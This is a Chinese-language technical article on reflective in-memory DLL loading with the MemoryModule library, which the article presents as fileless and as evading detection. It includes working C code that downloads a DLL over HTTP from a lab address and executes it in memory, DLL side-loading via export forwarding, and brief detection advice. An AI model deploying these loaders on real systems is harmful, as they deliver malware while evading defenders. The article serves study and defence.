MemoryModule的远程反射dll加载与一些没有实现的想法
字数 977 2025-08-22 22:47:30

内存反射DLL加载技术详解

1. 技术概述

内存反射DLL加载技术是一种不依赖Windows标准LoadLibrary API的动态链接库加载方法。该技术通过自定义PE加载器,直接在内存中解析和执行DLL文件,避免了传统DLL加载方式需要将文件写入磁盘的步骤。

核心优势

  • 无文件落地:DLL直接从内存加载,无需写入磁盘
  • 规避传统加载检测:不调用LoadLibrary等API
  • 支持远程加载:可从网络直接加载DLL到内存执行

2. 关键技术组件

MemoryModule项目

GitHub项目地址:fancycode/MemoryModule

核心API

/**
 * 从内存位置加载EXE/DLL文件
 * @param data 内存中的DLL数据指针
 * @param size DLL数据大小
 * @return 加载的模块句柄
 */
HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size);

/**
 * 扩展版加载函数,支持自定义依赖解析
 * @param data 内存中的DLL数据指针
 * @param size DLL数据大小
 * @param alloc_func 自定义内存分配函数
 * @param free_func 自定义内存释放函数
 * @param loadlibrary_func 自定义库加载函数
 * @param getprocaddress_func 自定义函数地址获取函数
 * @param freelibrary_func 自定义库释放函数
 * @param userdata 用户自定义数据指针
 */
HMEMORYMODULE MemoryLoadLibraryEx(
    const void *data, 
    size_t size,
    CustomAllocFunc alloc_func,
    CustomFreeFunc free_func,
    CustomLoadLibraryFunc loadlibrary_func,
    CustomGetProcAddressFunc getprocaddress_func,
    CustomFreeLibraryFunc freelibrary_func,
    void *userdata);

3. 基础实现

3.1 本地DLL内存加载

#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE &hBadCodeDll, LPCWSTR lpwszBadCodeFileName) {
    hBadCodeDll = CreateFileW(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ, 
                             NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hBadCodeDll == INVALID_HANDLE_VALUE) {
        return GetLastError();
    }
    return GetFileSize(hBadCodeDll, NULL);
}

int main() {
    HMEMORYMODULE hModule;
    HANDLE hBadCodeDll = INVALID_HANDLE_VALUE;
    WCHAR szBadCodeFile[] = L"C:\\path\\to\\Dllmsg.dll";
    DWORD dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
    
    PBYTE bFileBuffer = new BYTE[dwFileSize];
    DWORD dwReadOfFileSize = 0;
    
    ReadFile(hBadCodeDll, bFileBuffer, dwFileSize, &dwReadOfFileSize, NULL);
    CloseHandle(hBadCodeDll);
    
    hModule = MemoryLoadLibrary(bFileBuffer, dwFileSize);
    if (hModule == NULL) {
        delete[] bFileBuffer;
        return -1;
    }
    
    MemoryFreeLibrary(hModule);
    delete[] bFileBuffer;
    return 0;
}

3.2 简单的DLL示例

#include "pch.h"
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"Hello from DLL!", L"Dll Message", MB_OK | MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

4. 远程DLL加载实现

4.1 HTTP远程加载实现

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h>
#include "MemoryModule.h"
#pragma comment(lib, "wininet.lib")

#define PAYLOAD_SIZE (1024 * 512) // 512KB缓冲区

BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
    HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return FALSE;
    
    HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return FALSE;
    }
    
    BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);
    
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return success;
}

int main() {
    WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll";
    PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE];
    DWORD dwBytesRead = 0;
    
    if (!DownloadDLL(url, bFileBuffer, PAYLOAD_SIZE, &dwBytesRead) || !dwBytesRead) {
        delete[] bFileBuffer;
        return GetLastError();
    }
    
    HMEMORYMODULE hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
    if (!hModule) {
        delete[] bFileBuffer;
        return -1;
    }
    
    MemoryFreeLibrary(hModule);
    delete[] bFileBuffer;
    return 0;
}

5. 高级应用与挑战

5.1 DLL Side-Loading尝试

作者尝试通过合法DLL的旁加载技术加载远程恶意DLL,但遇到了技术挑战:

  1. DLL死锁问题:在DllMain中进行网络操作会导致死锁
  2. 导出函数限制:旁加载技术通常只能控制DllMain,无法直接调用导出函数

5.2 失败的中继加载尝试

// 中继DLL尝试通过网络加载并执行另一个DLL
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        runNetDll(); // 此函数内包含网络操作
    }
    return TRUE;
}

5.3 替代方案探索

  1. 本地EXE中继

    • 本地放置一个合法EXE
    • EXE通过网络加载恶意DLL
    • EXE执行内存注入
  2. 内存EXE加载

    • 通过网络将EXE加载到内存
    • 内存中执行EXE
    • EXE再加载恶意DLL

6. 技术难点与解决方案

6.1 DllMain中的限制

  • 问题:在DllMain中进行网络操作会导致死锁
  • 解决方案
    • 创建新线程执行网络操作
    • 使用延迟加载技术
    • 通过导出函数而非DllMain

6.2 导出函数转发

// 示例:转发合法DLL的导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
// ...其他导出函数

7. 防御与检测建议

  1. 检测内存中的PE加载

    • 监控非标准内存区域的可执行代码
    • 检测异常的PE头结构
  2. 网络活动分析

    • 监控进程的异常网络连接
    • 分析下载内容的PE特征
  3. API调用监控

    • 检测绕过LoadLibrary的模块加载行为
    • 监控自定义内存分配行为

8. 总结

内存反射DLL加载技术提供了一种强大的无文件攻击方式,但也面临诸多技术挑战。理解这些技术细节对于攻防双方都至关重要:

  • 攻击方需要解决DllMain限制、依赖解析等问题
  • 防御方需要建立针对非常规模块加载的检测能力
  • 该技术仍在发展,未来可能出现更成熟的解决方案
内存反射DLL加载技术详解 1. 技术概述 内存反射DLL加载技术是一种不依赖Windows标准 LoadLibrary API的动态链接库加载方法。该技术通过自定义PE加载器,直接在内存中解析和执行DLL文件,避免了传统DLL加载方式需要将文件写入磁盘的步骤。 核心优势 无文件落地 :DLL直接从内存加载,无需写入磁盘 规避传统加载检测 :不调用 LoadLibrary 等API 支持远程加载 :可从网络直接加载DLL到内存执行 2. 关键技术组件 MemoryModule项目 GitHub项目地址: fancycode/MemoryModule 核心API 3. 基础实现 3.1 本地DLL内存加载 3.2 简单的DLL示例 4. 远程DLL加载实现 4.1 HTTP远程加载实现 5. 高级应用与挑战 5.1 DLL Side-Loading尝试 作者尝试通过合法DLL的旁加载技术加载远程恶意DLL,但遇到了技术挑战: DLL死锁问题 :在DllMain中进行网络操作会导致死锁 导出函数限制 :旁加载技术通常只能控制DllMain,无法直接调用导出函数 5.2 失败的中继加载尝试 5.3 替代方案探索 本地EXE中继 : 本地放置一个合法EXE EXE通过网络加载恶意DLL EXE执行内存注入 内存EXE加载 : 通过网络将EXE加载到内存 内存中执行EXE EXE再加载恶意DLL 6. 技术难点与解决方案 6.1 DllMain中的限制 问题 :在DllMain中进行网络操作会导致死锁 解决方案 : 创建新线程执行网络操作 使用延迟加载技术 通过导出函数而非DllMain 6.2 导出函数转发 7. 防御与检测建议 检测内存中的PE加载 : 监控非标准内存区域的可执行代码 检测异常的PE头结构 网络活动分析 : 监控进程的异常网络连接 分析下载内容的PE特征 API调用监控 : 检测绕过LoadLibrary的模块加载行为 监控自定义内存分配行为 8. 总结 内存反射DLL加载技术提供了一种强大的无文件攻击方式,但也面临诸多技术挑战。理解这些技术细节对于攻防双方都至关重要: 攻击方需要解决DllMain限制、依赖解析等问题 防御方需要建立针对非常规模块加载的检测能力 该技术仍在发展,未来可能出现更成熟的解决方案